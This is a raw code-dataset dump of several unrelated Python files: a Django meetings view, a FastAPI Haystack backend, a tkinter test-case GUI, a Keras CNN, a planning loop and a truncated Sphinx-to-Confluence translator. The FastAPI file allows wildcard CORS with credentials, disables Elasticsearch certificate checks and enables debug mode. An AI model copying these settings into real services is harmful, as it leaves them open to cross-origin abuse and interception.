p.detach().numpy()\n","sub_path":"utils/pairwise.py","file_name":"pairwise.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"351899565","text":"\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view, renderer_classes\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.response import Response\n\nfrom EventRestService.Models.ExternalMeetings import External_Meetings\n\n@api_view(['GET'])\n@renderer_classes([JSONRenderer])\ndef external_date_view(request, format=None):\n meeting_id = request.GET.get(\"id\",None)\n meetings = External_Meetings.objects.filter(meet_id=meeting_id)\n return Response({'response' : [{'meet_id': e.meet_id,\n 'title': e.title,\n 'open_time': e.open_time,\n 'close_time': e.close_time,\n 'meeting_date': e.meeting_date,\n 'meeting_type' : e.meeting_type ,\n 'notes': e.agenda,\n 'company_name' : e.comp_id,\n 'contact_name': e.contact_id,\n 'assigned_to' : e.assigned_to ,\n 'reference' : e.reference\n } for e in meetings]}, status=status.HTTP_200_OK)\n","sub_path":"EventRestService/Views/ExternalDateView.py","file_name":"ExternalDateView.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"427134348","text":"import logging\n\nimport uvicorn\nfrom fastapi import FastAPI, HTTPException\nfrom starlette.middleware.cors import CORSMiddleware\n\nfrom elasticsearch import Elasticsearch\nfrom backend.config import DB_HOST, DB_USER, DB_PW\n\n\nfrom backend.controller.errors.http_error import http_error_handler\nfrom backend.controller.router import router as api_router\n# from backend.events.fastapi import create_start_app_handler, create_stop_app_handler\n\nlogging.basicConfig(format=\"%(asctime)s %(message)s\", datefmt=\"%m/%d/%Y %I:%M:%S %p\")\nlogger = logging.getLogger(__name__)\nlogging.getLogger(\"elasticsearch\").setLevel(logging.WARNING)\n\nelasticsearch_client = Elasticsearch(\n hosts=[{\"host\": DB_HOST}], http_auth=(DB_USER, DB_PW), scheme=\"http\", ca_certs=False, verify_certs=False\n)\n\n\ndef get_application() -> FastAPI:\n application = FastAPI(title=\"Haystack API\", debug=True, version=\"0.1\")\n\n application.add_middleware(\n CORSMiddleware, allow_origins=[\"*\"], allow_credentials=True, allow_methods=[\"*\"], allow_headers=[\"*\"],\n )\n\n application.add_exception_handler(HTTPException, http_error_handler)\n # application.add_event_handler(\"startup\", create_start_app_handler(application))\n # application.add_event_handler(\"shutdown\", create_stop_app_handler(application))\n\n application.include_router(api_router)\n\n return application\n\n\napp = get_application()\n\nlogger.info(\"Open http://127.0.0.1:8000/docs to see Swagger API Documentation.\")\nlogger.info(\n \"\"\"\nOr just try it out directly: curl --request POST --url 'http://127.0.0.1:8000/models/1/doc-qa' --data '{\"questions\": [\"Who is the father of Arya Starck?\"]}'\n\"\"\"\n)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n","sub_path":"backend/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"597516592","text":"#!usr/bin/python\nimport codecs\nimport openpyxl\nimport sys, os\nfrom time import gmtime, strftime\nfrom pathlib import Path\nfrom openpyxl.utils import get_column_letter, column_index_from_string\nimport array as arr\nimport numpy as np\nfrom shutil import copyfile\nfrom tkinter import *\nfrom tkinter import messagebox\nimport random\nimport time\nimport subprocess\nimport os, shutil\nfrom shutil import copyfile\n\nimport sys, string, os\n#from new_colect_testcase import run\nfrom copy_write_time_cover_log_csv_infor_init_stub import copy_file, run_macro\n#copy_file(path_winAMS_t, name_function_t, source_function_t )\n#---------------------------------------------------------------------\n\n\n#--------------------------------------------------------------------\nwindow = Tk()\n \nwindow.title(\"Analyzis TestCase\")\n \nwindow.geometry('600x500')\n\nlb_status = Label(window, text=\"Status\", font=(\"Arial Bold\", 15),fg=\"red\")\nlb_status.grid(column=0, row=0)\n\nlbl = Label(window, text=\"Type path excel file report: \")\nlbl.grid(column=0, row=2)\ntxt_path = Entry(window,width=100)\ntxt_path.grid(column=0, row=3)\n\nlb2 = Label(window, text=\"Type path Source .c test: \")\nlb2.grid(column=0, row=5)\ntxt_func = Entry(window,width=70)\ntxt_func.grid(column=0, row=6)\n\npath_excel = ''\nsource = ''\npath_exe = r\"D:/ver1.2.exe\"\npath = ''\n#\n\ndef add_last_character(path):\n wb = openpyxl.load_workbook(path)\n sheet = wb['テストケース表']\n max_rown = sheet.max_row\n sheet['B' + str(max_rown +1)] = 'end'\n wb.save(path)\n\ndef task():\n box_1 = txt_path.get()\n box_1 = box_1.replace('\\\\','/')\n box_1 = box_1.replace('\"','')\n box_2 = txt_func.get()\n lb_status.configure(text=\"Running Colect TestCase\")\n # call exe colect testcase\n shutil.copy(box_1, 'D:/' )\n tmp = box_1.split('/')\n box_1 = 'D:/' + tmp[-1]\n add_last_character(box_1)\n subprocess.call([path_exe, box_1, box_2])\n os.remove(box_1)\n #run(box_1, box_2, 0, 0)\n lb_status.configure(text=\"Finish\")\n txt_path.delete(0, END)\n txt_func.delete(0, END)\n \ndef clicked():\n task()\n\nbtn = Button(window, text=\"Colect testcase...\", command=clicked,bg=\"orange\", fg=\"red\")\nbtn.grid(column=0, row=20)\n\nlb_status = Label(window, text=\"Copy file and run Macro\", font=(\"Arial Bold\", 15),fg=\"blue\")\nlb_status.grid(column=0, row=21)\n\nlb3 = Label(window, text=\"WinAms: \")\nlb3.grid(column=0, row=22)\ntxt_WinAms = Entry(window,width=70)\ntxt_WinAms.grid(column=0, row=23)\n\nlb4 = Label(window, text=\"Source.c: \")\nlb4.grid(column=0, row=24)\ntxt_Source = Entry(window,width=70)\ntxt_Source.grid(column=0, row=25)\n\nlb5 = Label(window, text=\"Function: \")\nlb5.grid(column=0, row=26)\ntxt_Function = Entry(window,width=70)\ntxt_Function.grid(column=0, row=27)\n\nreturn_path = ''\npath = ''\npath_t = ''\n\ndef clicked_copy():\n box_1 = txt_WinAms.get()\n box_1 = box_1.replace('\\\\','/')\n box_2 = txt_Source.get()\n box_3 = txt_Function.get()\n try:\n return_path = copy_file(box_1, box_3, box_2)\n except:\n print('can not copy file\\n')\n path = return_path.split('$')\n print(path)\n \ndef clicked_run():\n try:\n run_macro()\n except:\n print('can not run Macro\\n')\n\ntemp = '' \ndef clicked_colect():\n w = openpyxl.load_workbook(\"D:/temp.xlsx\")\n sheet7 = w['Sheet1']\n temp = str(sheet7['A15'].value)\n temp = temp.replace('\\\\','/')\n temp = temp.replace('\"','')\n temp = temp.split('$')\n box_1 = temp[0]\n box_2 = temp[1]\n #box_2 = box_2.replace(' ','')\n #box_1 = path[0]\n #box_2 = path[1]\n print(box_1)\n print(box_2)\n txt_path.delete(0, END)\n txt_path.insert(0,box_1)\n txt_func.delete(0, END)\n txt_func.insert(0,box_2)\n #subprocess.call([path_exe, box_1, box_2])\n \n#------------------------------------------------------\nb6 = Label(window, text=\" \")\nb6.grid(column=0, row=28)\nbtn_1 = Button(window, text=\"Copy file...\", command=clicked_copy,bg=\"orange\", fg=\"green\")\nbtn_1.grid(column=0, row=29)\n\nb7 = Label(window, text=\" \")\nb7.grid(column=0, row=30)\nbtn_2 = Button(window, text=\"run Macro...\", command=clicked_run,bg=\"orange\", fg=\"blue\")\nbtn_2.grid(column=0, row=31)\n\nb8 = Label(window, text=\" \")\nb8.grid(column=0, row=32)\nbtn_3 = Button(window, text=\"Give path Tescase...\", command=clicked_colect,bg=\"orange\", fg=\"brown\")\nbtn_3.grid(column=0, row=33)\n\n\n#while 1:\nwindow.mainloop()\n #print('hello')\n #time.sleep(5)\n","sub_path":"Gui.py","file_name":"Gui.py","file_ext":"py","file_size_in_byte":4447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"503629117","text":"__author__ = 'REN'\nfrom keras.layers import Dense, Flatten\nfrom keras.models import Sequential\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import train_test_split\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.utils import plot_model\n\nfrom sh_ic.preprocess.in_out.data_generator import *\n\n\ndata_path = u\"D:\\WorkData\\ShanghaiIc\\地铁按站统计\\in_training_data.csv\"\nstart_column = 3\nend_column = 33\nl_start_column = -1\nl_end_column = 0\nX, y = get_data(data_path, start_column, end_column, l_start_column, l_end_column,\n head=2000000, sample_rate=0.3, scale=0.001)\nX = X.reshape(len(X), 6, 5, 1)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.3)\n\n# build model\nmodel = Sequential()\n# 1st layer: convolution\nmodel.add(Convolution2D(4, 3, border_mode='valid', input_shape=(6, 5, 1), activation=\"tanh\"))\n# 2nd layer: convolution+pooling\nmodel.add(Convolution2D(8, 3, border_mode='valid', activation=\"tanh\"))\n# model.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(1, activation=\"tanh\"))\n\nmodel.compile(loss='mse', optimizer=\"sgd\", metrics=['mae', 'mse'])\nplot_model(model, to_file='model.png', show_shapes=True)\n\nmodel.fit(X_train, y_train, batch_size=50, nb_epoch=200)\ny_test_predicted = model.predict(X_test)\nmae = mean_absolute_error(y_test, y_test_predicted)\nmape = mean_absolute_percent_error(y_test, y_test_predicted)\nprint(\"test error:\", mae, mape)\n\ny_train_predicted = model.predict(X_train)\nmae = mean_absolute_error(y_train, y_train_predicted)\nmape = mean_absolute_percent_error(y_train, y_train_predicted)\nprint(\"train error:\", mae, mape)","sub_path":"sh_ic/old/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"455937398","text":"from domains.multi_agent.recipe_sat.recipe_sat_scenario import RecipeScenario\nfrom mdp.graph_planner import search, greedy_action\n\n\ndef centralized_recipe_sat():\n # Initialize map\n scenario = RecipeScenario(num_conditions=14, num_agents=2, num_valid_recipes=15, recipe_size=4)\n print('\\n'.join(str(recipe) for recipe in scenario.recipes))\n state = scenario.initial_state()\n print('Initial state:\\n', state)\n\n # Main loop\n util = 0\n node = None\n while not scenario.end(state):\n # Plan\n node = search(state, scenario, 1000, root_node=node, heuristic=lambda state: 0)\n action = greedy_action(node)\n print('Subgraph size: ', node.reachable_subgraph_size())\n\n # Transition\n new_state = scenario.transition(state, action).sample()\n util += scenario.utility(state, action, new_state)\n node = node.find_matching_successor(new_state, action)\n\n # Output\n print(action)\n print(new_state)\n print('Util: ', util)\n\n state = new_state\n\n\nif __name__ == '__main__':\n centralized_recipe_sat()","sub_path":"domains/multi_agent/recipe_sat/recipe_sat.py","file_name":"recipe_sat.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"278820177","text":"# -*- coding: utf-8 -*-\n\"\"\"\n :copyright: Copyright 2016-2018 by the contributors (see AUTHORS file).\n :license: BSD-2-Clause, see LICENSE for details.\n\"\"\"\n\nfrom __future__ import unicode_literals\nfrom .exceptions import ConfluenceError\nfrom .logger import ConfluenceLogger\nfrom .state import ConfluenceState\nfrom .std.confluence import FCMMO\nfrom .std.confluence import INDENT\nfrom .std.confluence import LITERAL2LANG_MAP\nfrom .std.sphinx import DEFAULT_HIGHLIGHT_STYLE\nfrom docutils import nodes\nfrom docutils.nodes import NodeVisitor as BaseTranslator\nfrom os import path\nfrom sphinx.locale import admonitionlabels\nfrom sphinx.util.osutil import SEP\nimport io\nimport posixpath\nimport sys\n\nclass ConfluenceTranslator(BaseTranslator):\n _tracked_unknown_code_lang = []\n\n \"\"\"\n confluence extension translator\n\n Translator instance for the Confluence extension for Sphinx. This\n implementation is responsible for processing individual documents based on\n parsed node entries provided by docutils (used by Sphinx).\n\n Args:\n document: the document being translated\n builder: the sphinx builder instance\n \"\"\"\n def __init__(self, document, builder):\n BaseTranslator.__init__(self, document)\n self.builder = builder\n config = builder.config\n\n # acquire the active document name from the builder\n assert builder.current_docname\n self.docname = builder.current_docname\n\n # determine the active document's parent path to assist it title mapping\n # for relative document uris\n # (see '_visit_reference_intern_uri')\n if SEP in self.docname:\n self.docparent = self.docname[0:self.docname.rfind(SEP) + 1]\n else:\n self.docparent = ''\n\n self.assets = builder.assets\n self.body = []\n self.context = []\n self.nl = '\\n'\n self.warn = document.reporter.warning\n self._building_footnotes = False\n self._manpage_url = config.manpages_url\n self._quote_level = 0\n self._reference_context = []\n self._section_level = 1\n self._thead_context = []\n self._tocdepth = ConfluenceState.toctreeDepth(self.docname)\n\n if config.highlight_language:\n self._highlight = config.highlight_language\n else:\n self._highlight = DEFAULT_HIGHLIGHT_STYLE\n self._linenothreshold = sys.maxsize\n\n # helpers for dealing with disabled/unsupported macros\n restricted_macros = config.confluence_adv_restricted_macros\n self.can_admonition = not 'info' in restricted_macros\n self.can_anchor = not 'anchor' in restricted_macros\n self.can_children = not 'children' in restricted_macros\n self.can_code = not 'code' in restricted_macros\n self.can_viewfile = not 'viewfile' in restricted_macros\n\n if (config.confluence_page_hierarchy\n and config.confluence_adv_hierarchy_child_macro\n and self.can_children):\n self.apply_hierarchy_children_macro = True\n else:\n self.apply_hierarchy_children_macro = False\n\n # ##########################################################################\n # # #\n # # base translator overrides #\n # # #\n # ##########################################################################\n\n def visit_document(self, node):\n pass\n\n def depart_document(self, node):\n self.document = '';\n\n # prepend header (if any)\n if self.builder.config.confluence_header_file is not None:\n headerFile = path.join(self.builder.env.srcdir,\n self.builder.config.confluence_header_file)\n try:\n with io.open(headerFile, encoding='utf-8') as file:\n self.document += file.read() + self.nl\n except (IOError, OSError) as err:\n ConfluenceLogger.warn('error reading file '\n '{}: {}'.format(headerFile, err))\n\n self.document += ''.join(self.body)\n\n # append footer (if any)\n if self.builder.config.confluence_footer_file is not None:\n footerFile = path.join(self.builder.env.srcdir,\n self.builder.config.confluence_footer_file)\n try:\n with io.open(footerFile, encoding='utf-8') as file:\n self.document += file.read() + self.nl\n except (IOError, OSError) as err:\n ConfluenceLogger.warn('error reading file '\n '{}: {}'.format(footerFile, err))\n\n def visit_Text(self, node):\n text = node.astext()\n text = self._escape_sf(text)\n self.body.append(text)\n raise nodes.SkipNode\n\n def unknown_visit(self, node):\n raise NotImplementedError('unknown node: ' + node.__class__.__name__)\n\n # ---------\n # structure\n # ---------\n\n def visit_section(self, node):\n level = self._section_level\n\n if not self.builder.config.confluence_adv_writer_no_section_cap:\n MAX_CONFLUENCE_SECTIONS = 6\n if self._section_level > MAX_CONFLUENCE_SECTIONS:\n level = MAX_CONFLUENCE_SECTIONS\n\n self._title_level = level\n self._section_level += 1\n\n def depart_section(self, node):\n self._section_level -= 1\n\n def visit_title(self, node):\n if isinstance(node.parent, (nodes.section, nodes.topic)):\n self.body.append(\n self._start_tag(node, 'h{}'.format(self._title_level)))\n self.context.append(self._end_tag(node))\n else:\n # Only render section/topic titles in headers. For all other nodes,\n # they must explicitly manage their own title entries.\n raise nodes.SkipNode\n\n def depart_title(self, node):\n if isinstance(node.parent, (nodes.section, nodes.topic)):\n self.body.append(self.context.pop()) # h\n\n def visit_paragraph(self, node):\n self.body.append(self._start_tag(node, 'p'))\n self.context.append(self._end_tag(node))\n\n def depart_paragraph(self, node):\n self.body.append(self.context.pop()) # p\n\n def visit_transition(self, node):\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n raise nodes.SkipNode\n\n visit_topic = visit_section\n depart_topic = depart_section\n\n # ----------------------\n # body elements -- lists\n # ----------------------\n\n def _apply_leading_list_item_offets(self, node, attribs):\n # Confluence's provided styles remove first-child elements leading\n # margins. This causes some unexpected styling issues when list entries\n # which contain other block elements do not style appropriately. This\n # extensions attempts to maintain compact list item entries; however,\n # for a list which contains non-compact entries (e.x. multiple\n # paragraphs), instead, each list item will be applied a respective\n # margin offset.\n #\n # Previously, a pattern such as the following would occur:\n #\n # - line\n # (spacing)\n # line\n # - line\n # - line\n # (spacing)\n # line\n # - line\n # (spacing)\n # line\n #\n # To prevent this from happening, a margin applied to non-compact\n # entries will render as:\n #\n # - line\n # (spacing)\n # line\n # (spacing) <-- spacing between complex list item\n # - line <-- no spacing for compact list (desired)\n # - line\n # (spacing)\n # line\n # (spacing) <-- spacing between complex list item\n # - line\n # (spacing)\n # line\n #\n\n # If any item in this list contains two or more children (with the\n # exception of a \"paragraph\" + list pair), consider the entire list a\n # complex one and flag each list item to include a margin.\n has_complex = False\n for child in node.children: # list items\n if len(child.children) > 2 or (len(child.children) == 2\n and not isinstance(child.children[1],\n (nodes.bullet_list, nodes.enumerated_list))):\n has_complex = True\n break\n\n if has_complex:\n for child in node.children:\n child.__confluence_list_item_margin = True\n\n # If this list is nested inside a complex list, ensure this list starts\n # off with a margin (to offset it's position inside the complex list).\n if isinstance(node.parent, nodes.list_item):\n try:\n if node.parent.__confluence_list_item_margin:\n attribs['style'] = 'margin-top: {}px;'.format(FCMMO)\n except AttributeError:\n pass\n\n def visit_bullet_list(self, node):\n attribs = {}\n self._apply_leading_list_item_offets(node, attribs)\n\n self.body.append(self._start_tag(node, 'ul', suffix=self.nl, **attribs))\n self.context.append(self._end_tag(node))\n\n def depart_bullet_list(self, node):\n self.body.append(self.context.pop()) # ul\n\n def visit_enumerated_list(self, node):\n attribs = {}\n self._apply_leading_list_item_offets(node, attribs)\n\n # note: - Not all Confluence versions (if any) support populating the\n # 'type' attribute of an ordered list tag; however, the 'style'\n # attribute is accepted.\n # - Not all Confluence versions (if any) support populating the\n # 'start' attribute of an ordered list tag; limiting to\n # auto-enumeration items only.\n list_style_type = None\n if node['enumtype'] == 'upperalpha':\n list_style_type = 'upper-alpha'\n elif node['enumtype'] == 'loweralpha':\n list_style_type = 'lower-alpha'\n elif node['enumtype'] == 'upperroman':\n list_style_type = 'upper-roman'\n elif node['enumtype'] == 'lowerroman':\n list_style_type = 'lower-roman'\n elif node['enumtype'] == 'arabic':\n list_style_type = 'decimal'\n else:\n ConfluenceLogger.warn(\n 'unknown enumerated list type: {}'.format(node['enumtype']))\n\n if 'style' not in attribs:\n attribs['style'] = ''\n attribs['style'] = '{}list-style-type: {};'.format(\n attribs['style'], list_style_type)\n\n self.body.append(self._start_tag(node, 'ol', suffix=self.nl, **attribs))\n self.context.append(self._end_tag(node))\n\n def depart_enumerated_list(self, node):\n self.body.append(self.context.pop()) # ol\n\n def visit_list_item(self, node):\n # apply margin offset if flagged (see _apply_leading_list_item_offets)\n attribs = {}\n try:\n if node.__confluence_list_item_margin:\n attribs['style'] = 'margin-top: {}px;'.format(FCMMO)\n except AttributeError:\n pass\n\n self.body.append(self._start_tag(node, 'li', suffix=self.nl, **attribs))\n self.context.append(self._end_tag(node))\n\n def depart_list_item(self, node):\n self.body.append(self.context.pop()) # li\n\n # ---------------------------------\n # body elements -- definition lists\n # ---------------------------------\n\n def visit_definition_list(self, node):\n self.body.append(self._start_tag(node, 'dl', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_definition_list(self, node):\n self.body.append(self.context.pop()) # dl\n\n def visit_definition_list_item(self, node):\n # When processing a definition list item (an entry), multiple terms may\n # exist for the given entry (e.x. when using a glossary). Before\n # displaying an actual definition of one or more terms, there may exist\n # classifiers for a given entry. On the last term for an entry, all\n # classifier information will be displayed in the definition-type. In\n # order to achieve this, a list entry will be tracked to see if a term\n # has been processed for an entry. If a new term is detected, the\n # previous term's tag will be closed off. On the final term, the tag is\n # not closed off until the definition (visit_definition) is processed.\n # This allows classifier information to be populated into the last term\n # element.\n self._has_term = False\n\n def depart_definition_list_item(self, node):\n self._has_term = False\n\n def visit_term(self, node):\n # close of previous term (see visit_definition_list_item)\n if self._has_term:\n self.body.append(self.context.pop()) # dt\n\n if 'ids' in node and self.can_anchor:\n for id in node['ids']:\n self.body.append(self._start_ac_macro(node, 'anchor'))\n self.body.append(self._build_ac_parameter(node, '', id))\n self.body.append(self._end_ac_macro(node))\n\n self.body.append(self._start_tag(node, 'dt'))\n self.context.append(self._end_tag(node))\n self._has_term = True\n\n def depart_term(self, node):\n # note: Do not pop the context populated from 'visit_term'. The last\n # entry may need to hold classifier information inside it. Either\n # next term or a term's definition will pop the context.\n pass\n\n def visit_classifier(self, node):\n self.body.append(' : ')\n self.body.append(self._start_tag(node, 'em'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_classifier(self, node):\n self.body.append(self.context.pop()) # em\n\n def visit_definition(self, node):\n self.body.append(self.context.pop()) # dt\n\n self.body.append(self._start_tag(node, 'dd', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_definition(self, node):\n self.body.append(self.context.pop()) # dd\n\n def visit_termsep(self, node):\n raise nodes.SkipNode\n\n # ----------------------------\n # body elements -- field lists\n # ----------------------------\n\n def visit_field_list(self, node):\n self.body.append(self._start_tag(node, 'table', suffix=self.nl))\n self.context.append(self._end_tag(node))\n self.body.append(self._start_tag(node, 'tbody', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_field_list(self, node):\n self.body.append(self.context.pop()) # tbody\n self.body.append(self.context.pop()) # table\n\n def visit_field(self, node):\n self.body.append(self._start_tag(node, 'tr', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_field(self, node):\n self.body.append(self.context.pop()) # tr\n\n def visit_field_name(self, node):\n self.body.append(self._start_tag(node, 'td',\n **{'style': 'border: none'}))\n self.context.append(self._end_tag(node))\n\n self.body.append(self._start_tag(node, 'strong'))\n self.context.append(self._end_tag(node, suffix=''))\n\n def depart_field_name(self, node):\n self.body.append(':')\n self.body.append(self.context.pop()) # strong\n self.body.append(self.context.pop()) # td\n\n def visit_field_body(self, node):\n self.body.append(self._start_tag(node, 'td',\n **{'style': 'border: none'}))\n self.context.append(self._end_tag(node))\n\n def depart_field_body(self, node):\n self.body.append(self.context.pop()) # td\n\n # -----------------------------\n # body elements -- option lists\n # -----------------------------\n\n def visit_option_list(self, node):\n self.body.append(self._start_tag(node, 'table', suffix=self.nl))\n self.context.append(self._end_tag(node))\n self.body.append(self._start_tag(node, 'tbody', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_option_list(self, node):\n self.body.append(self.context.pop()) # tbody\n self.body.append(self.context.pop()) # table\n\n def visit_option_list_item(self, node):\n self.body.append(self._start_tag(node, 'tr', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n def depart_option_list_item(self, node):\n self.body.append(self.context.pop()) # tr\n\n def visit_option_group(self, node):\n self._first_option = True\n self.body.append(self._start_tag(node, 'td',\n **{'style': 'border: none'}))\n self.context.append(self._end_tag(node))\n\n def depart_option_group(self, node):\n self.body.append(self.context.pop()) # td\n\n def visit_option(self, node):\n if self._first_option:\n self._first_option = False\n else:\n self.body.append(', ')\n\n def depart_option(self, node):\n pass\n\n def visit_option_string(self, node):\n pass\n\n def depart_option_string(self, node):\n pass\n\n def visit_option_argument(self, node):\n self.body.append(node['delimiter'])\n\n def depart_option_argument(self, node):\n pass\n\n def visit_description(self, node):\n self.body.append(self._start_tag(node, 'td',\n **{'style': 'border: none'}))\n self.context.append(self._end_tag(node))\n\n def depart_description(self, node):\n self.body.append(self.context.pop()) # td\n\n # -------------------------------\n # body elements -- literal blocks\n # -------------------------------\n\n def visit_literal_block(self, node):\n is_parsed_literal = node.rawsource != node.astext()\n if is_parsed_literal:\n self.body.append(self._start_tag(node, 'div', suffix=self.nl,\n **{'class': 'panel pdl'}))\n self.context.append(self._end_tag(node))\n self.body.append(self._start_tag(node, 'pre',\n **{'class': 'panelContent'}))\n self.context.append(self._end_tag(node))\n self.body.append(self._start_tag(node, 'code'))\n self.context.append(self._end_tag(node))\n return\n\n lang = node.get('language', self._highlight).lower()\n if self.builder.lang_transform:\n lang = self.builder.lang_transform(lang)\n elif lang in LITERAL2LANG_MAP.keys():\n lang = LITERAL2LANG_MAP[lang]\n else:\n if lang not in self._tracked_unknown_code_lang:\n ConfluenceLogger.warn('unknown code language: {}'.format(lang))\n self._tracked_unknown_code_lang.append(lang)\n lang = LITERAL2LANG_MAP[DEFAULT_HIGHLIGHT_STYLE]\n\n data = self.nl.join(node.astext().splitlines())\n\n if node.get('linenos', False) == True:\n num = 'true'\n elif data.count('\\n') >= self._linenothreshold:\n num = 'true'\n else:\n num = 'false'\n\n if self.can_code:\n self.body.append(self._start_ac_macro(node, 'code'))\n self.body.append(self._build_ac_parameter(node, 'language', lang))\n self.body.append(self._build_ac_parameter(node, 'linenumbers', num))\n self.body.append(self._start_ac_plain_text_body_macro(node))\n self.body.append(self._escape_cdata(data))\n self.body.append(self._end_ac_plain_text_body_macro(node))\n self.body.append(self._end_ac_macro(node))\n else:\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n self.body.append(self._start_tag(node, 'pre'))\n self.body.append(self._escape_sf(data))\n self.body.append(self._end_tag(node))\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n\n raise nodes.SkipNode\n\n def depart_literal_block(self, node):\n # note: depart is only invoked for parsed-literals\n self.body.append(self.context.pop()) # code\n self.body.append(self.context.pop()) # pre\n self.body.append(self.context.pop()) # div\n\n def visit_highlightlang(self, node):\n self._highlight = node.get('lang', DEFAULT_HIGHLIGHT_STYLE)\n self._linenothreshold = node.get('linenothreshold', sys.maxsize)\n raise nodes.SkipNode\n\n def visit_doctest_block(self, node):\n data = self.nl.join(node.astext().splitlines())\n\n if self.can_code:\n self.body.append(self._start_ac_macro(node, 'code'))\n self.body.append(self._build_ac_parameter(\n node, 'language', 'python')) # python-specific\n self.body.append(self._start_ac_plain_text_body_macro(node))\n self.body.append(self._escape_cdata(data))\n self.body.append(self._end_ac_plain_text_body_macro(node))\n self.body.append(self._end_ac_macro(node))\n else:\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n self.body.append(self._start_tag(node, 'pre'))\n self.body.append(self._escape_sf(data))\n self.body.append(self._end_tag(node))\n self.body.append(self._start_tag(\n node, 'hr', suffix=self.nl, empty=True))\n\n raise nodes.SkipNode\n\n # -----------------------------\n # body elements -- block quotes\n # -----------------------------\n\n def visit_block_quote(self, node):\n if node.traverse(nodes.attribution):\n self.body.append(self._start_tag(node, 'blockquote'))\n self.context.append(self._end_tag(node))\n else:\n self._quote_level += 1\n style = ''\n\n # Confluece's WYSIWYG, when indenting paragraphs, will produce\n # paragraphs will margin values offset by 30 pixels units. The same\n # indentation is applied here via a style value (multiplied by the\n # current quote level).\n indent_val = INDENT * self._quote_level\n style += 'margin-left: {}px;'.format(indent_val)\n\n # Confluence's provided styles remove first-child elements leading\n # margins. This causes some unexpected styling issues when various\n # indentation patterns are applied (between div elements and\n # multiple paragraphs). To overcome this, the indent container being\n # added will be given a top-padding-offset matching Confluence's\n # common non-first-child element top-margins (i.e. 10 pixels).\n #\n # Note that this offset does not style well when multiple\n # indentations are observed; sub-level containers can result in\n # stacked padding (not desired). For example:\n #\n # first-line\n # (10px of padding)\n # (10px of padding)\n # first-line\n # first-line\n #\n # To prevent this from happening, if the next child container is\n # another block quote, no padding is added:\n #\n # first-line\n # (10px of padding)\n # first-line\n # first-line\n #\n # Ideally, a padding-offset is not desired (as it may required\n # tweaking if Confluence's themes change); however, the quirk works\n # for now.\n firstchild_margin = True\n next_child = node.traverse(include_self=False)\n if next_child and isinstance(next_child[0], nodes.block_quote):\n firstchild_margin = False\n\n if firstchild_margin:\n style += 'padding-top: {}px;'.format(FCMMO)\n\n self.body.append(self._start_tag(node, 'div', suffix=self.nl,\n **{'style': style}))\n self.context.append(self._end_tag(node))\n\n def depart_block_quote(self, node):\n if node.traverse(nodes.attribution):\n self.body.append(self.context.pop()) # blockquote\n else:\n self._quote_level -= 1\n self.body.append(self.context.pop()) # div\n\n def visit_attribution(self, node):\n self.body.append('-- ')\n\n def depart_attribution(self, node):\n pass\n\n # -----------\n # admonitions\n # -----------\n\n def _visit_admonition(self, node, atype, title=None):\n if self.can_admonition:\n self.body.append(self._start_ac_macro(node, atype))\n if title:\n self.body.append(self._build_ac_parameter(node, 'title', title))\n self.body.append(self._start_ac_rich_text_body_macro(node))\n self.context.append(self._end_ac_rich_text_body_macro(node) +\n self._end_ac_macro(node))\n else:\n self.body.append(self._start_tag(node, 'blockquote'))\n self.context.append(self._end_tag(node))\n\n def _depart_admonition(self, node):\n self.body.append(self.context.pop()) # macro (or blockquote)\n\n def _visit_info(self, node):\n self._visit_admonition(node, 'info')\n\n def _visit_note(self, node):\n self._visit_admonition(node, 'note')\n\n def _visit_tip(self, node):\n self._visit_admonition(node, 'tip')\n\n def _visit_warning(self, node):\n self._visit_admonition(node, 'warning')\n\n visit_attention = _visit_note\n depart_attention = _depart_admonition\n visit_caution = _visit_note\n depart_caution = _depart_admonition\n visit_danger = _visit_warning\n depart_danger = _depart_admonition\n visit_error = _visit_warning\n depart_error = _depart_admonition\n visit_hint = _visit_tip\n depart_hint = _depart_admonition\n visit_important = _visit_warning\n depart_important = _depart_admonition\n visit_note = _visit_info\n depart_note = _depart_admonition\n visit_tip = _visit_tip\n depart_tip = _depart_admonition\n visit_warning = _visit_warning\n depart_warning = _depart_admonition\n\n # ------\n # tables\n # ------\n\n def visit_table(self, node):\n title_node = node.traverse(nodes.title)\n if title_node:\n self.body.append(self._start_tag(node, 'p'))\n self.body.append(self._start_tag(node, 'strong'))\n self.body.append(self._escape_sf(title_node[0].astext()))\n self.body.append(self._end_tag(node))\n self.body.append(self._end_tag(node))\n\n self.body.append(self._start_tag(node, 'table', suffix=self.nl))\n self.context.append(self._end_tag(node))\n\n # track the thead context\n #\n # When writing a table cell (visit_entry), it needs to be known if the\n # cell is in the header (th) or is a data cell (td). A \"thead 